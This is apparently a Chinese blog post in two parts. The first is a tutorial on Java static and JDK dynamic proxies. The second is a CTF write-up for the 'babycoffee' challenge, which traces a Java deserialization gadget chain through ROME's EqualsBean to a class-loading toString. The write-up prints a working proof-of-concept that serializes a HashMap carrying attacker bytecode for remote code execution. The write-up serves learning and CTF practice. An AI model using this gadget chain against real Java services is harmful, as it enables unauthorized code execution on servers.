概述
代理模式Java当中最常用的设计模式之一。其特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。而Java的代理机制分为静态代理和动态代理,而这里我们主要重点学习java自带的jdk动态代理机制。
静态代理
静态代理就是指我们在给一个类扩展功能的时候,我们需要去书写一个静态的类,相当于在之前的类上套了一层,这样我们就可以在不改变之前的类的前提下去对原有功能进行扩展。
来个实例就很好懂了
前期准备:先定义个接口
public interface Exchange {
public void sell();
}
然后用委托类来重写实现这个接口方法
public class Entrust implements Exchange{
@Override
public void sell() {
System.out.println("爱你孤身走暗巷~");
}
}
接着就是代理类
public class ProxyClass implements Exchange{
private Entrust m1;//被代理的对象
public ProxyClass(Entrust m1){
this.m1 = m1;
}
@Override
public void sell() {
m1.sell();
System.out.println("爱你不跪的模样~");
}
}
测试类
public class Test {
public static void main(String[] args) {
Exchange m1 = new Entrust();
System.out.println("未代理之前:");
m1.sell();
Exchange m2 = new ProxyClass(m1);
System.out.println("代理之后:");
m2.sell();
}
}
输出
通过上面的例子,我们可以看见静态代理的优点:我们可以在不改变委托类源码的情况下用代理类来实现类似扩展的操作。
静态代理的缺点:代理类和委托类实现了相同的接口,代理类通过委托类实现了相同的方法。这样就出现了大量的代码重复。如果接口增加一个方法,除了所有实现类需要实现这个方法外,所有代理类也需要实现此方法。增加了代码维护的复杂度。
动态代理
涉及到我们之前学的JAVA的类加载机制了,动态代理就是想办法,根据接口或者目标对象,计算出代理类的字节码,然后加载到JVM中使用。
实现过程
- 使用java.lang.InvocationHandler接口创建自定义调用处理器,由它来实现invoke方法,执行代理函数;
- 使用java.lang.reflect.Proxy类指定一个ClassLoader,一组interface接口和一个InvocationHandler;
- 通过反射机制获得动态代理类的构造方法,其唯一参数类型是调用处理器接口类型;
- 调用java.lang.reflect.Proxy.newProxyInstance()方法,分别传入类加载器,被代理接口,调用处理器;创建动态代理实例对象。
- 通过代理对象调用目标方法;
先创建一个接口
public interface CrazyThursday {
public void say();
public void eat();
public void pay();
}
同样的一个委托类来实现接口
public class IwantEat implements CrazyThursday{
@Override
public void say() {
System.out.println("我想吃肯德基疯狂星期四!");
}
@Override
public void eat() {
System.out.println("谢谢你,好人一生平安~");
}
@Override
public void pay() {
System.out.println("V me 50");
}
}
然后就是需要一个代理类来代理,值得注意的是这个代理类需要继承InvocationHandler接口
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class DynamicProxy implements InvocationHandler {
private CrazyThursday m1;
public DynamicProxy() {
}
public DynamicProxy(CrazyThursday m1){
this.m1 = m1;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("invoke方法被调用");
method.invoke(m1,args);
return null;
}
}
然后就是测试类
import java.lang.reflect.Proxy;
public class DynamicTest {
public static void main(String[] args) {
CrazyThursday m1 = new IwantEat();
DynamicProxy dynamicProxy = new DynamicProxy(m1);
CrazyThursday o = (CrazyThursday) Proxy.newProxyInstance(m1.getClass().getClassLoader(), m1.getClass().getInterfaces(), dynamicProxy);
o.say();
o.eat();
o.eat();
}
}
输出
其中需要注意的点:
java.lang.reflect.InvocationHandler
Object invoke(Object proxy, Method method, Object[] args)定义了代理对象调用方法时希望执行的动作,用于集中处理在动态代理类对象上的方法调用
java.lang.reflect.Proxy
static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) 构造实现指定接口的代理类的一个新实例,所有方法会调用给定处理器对象的 invoke 方法
想了解底层函数逻辑可以自己去跟一下:https://www.jianshu.com/p/9bcac608c714
babycoffee
附件:b4bycoffee-0.0.1-SNAPSHOT.jar
本来说写到这就算完了,结果朋友
据他所说,只要学了URLDNS链子就能调这个
于是我就信了,调了一下午没弄出来,最后还是和他的友好沟通中弄懂了
因为是第一次搞java题记录一下环境实现
先创建一个新的sprring项目
然后next选择java版本和配置好的mvn
选择web->spring web 然后继续next直捣创建完成
创建完成后把我们刚刚得到的jar用JD-GUI反编译之后的主要类复制到新项目里面来
注意新项目的结构和文件名称不能改变,再修改一下包名
然后再导入lib中的依赖,就不会出现报错了,再运行B4bycoffeeApplication这个类
它占用的是8080端口,记得别冲突了就行
然后就搭建好环境了,有环境我们才能进行调试
首先我们先看见在coffeeController类中
入口点是通过Venti这个变量传入的一个base64加密的东西,然后就是正常的反序列化,然后自己写了个AntObjectInputStream类进行封装,再之后就是readObject方法,这里就是入口利用点了,一般来说这种有入口了,一般是找依赖什么的,什么之后会学的cc,cb,其他链子之类的,但是这个没有继续回到刚才的封装类
在里面我们发现了黑名单
然后我们在那个CoffeeBean的类中看见一个类加载的地方
这个地方就可以加载我还没有学习的字节码进行RCE
那已经找到利用点了,那就再看链子就行,这个地方是CoffeeBean的toString方法
那还是回到入口点的readObject,学过URLDNS我们知道hashMap重写了这个方法最终会调用一个HashCode方法
然后我们就来看这里那个类的HashCode可以被利用
发现在刚才的黑名单中ObjectBeam中有HashCode方法
继续追它,发现它调用了EqualsBean的beanHashCode方法
这里返回了一个类的toString方法,是不是突然get到了什么
链子就出来了,就是这么简单,这是学java的第一道java题,总结一下链子
hashMap->ObjectBean\#HashCode->EqualsBean\#hashCode->toString->CoffeeBean#tostring->Rce
意思就是hashMap(ObjectBean(EqulsBean(Coffeebean)))
然后就是poc构造
package com.example.b4bycoffee.model;
import com.rometools.rome.feed.impl.EqualsBean;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
public class Test {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap<>();
CoffeeBean coffeeBean = new CoffeeBean();
Field classByte = coffeeBean.getClass().getDeclaredField("ClassByte");
classByte.setAccessible(true);
byte[] b= Files.readAllBytes(Paths.get("C:\\Users\\admin\\Desktop\\project\\cc\\target\\classes\\calc.class"));
// byte[] b=new byte[];
System.out.println(Arrays.toString(b));
classByte.set(coffeeBean,b);
// coffeeBean.toString();
EqualsBean equalsBean = new EqualsBean(CoffeeBean.class, coffeeBean);
hashMap.put(equalsBean,"f1or");
String serialize = serialize(hashMap);
System.out.println(serialize);
// unserialize(serialize);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objOutput = new ObjectOutputStream(barr);
objOutput.writeObject(obj);
byte[] bytes = barr.toByteArray();
objOutput.close();
String bytesOfBase = Base64.getEncoder().encodeToString(bytes);
return bytesOfBase;
}
public static void unserialize(String bytesOfBase) throws IOException, ClassNotFoundException {
byte[] bytes = Base64.getDecoder().decode(bytesOfBase);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objInput = new ObjectInputStream(byteArrayInputStream);
objInput.readObject();
}
}
poc中涉及的字节码我还没学,就先到这里了
完蛋,计算机弹出来了
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!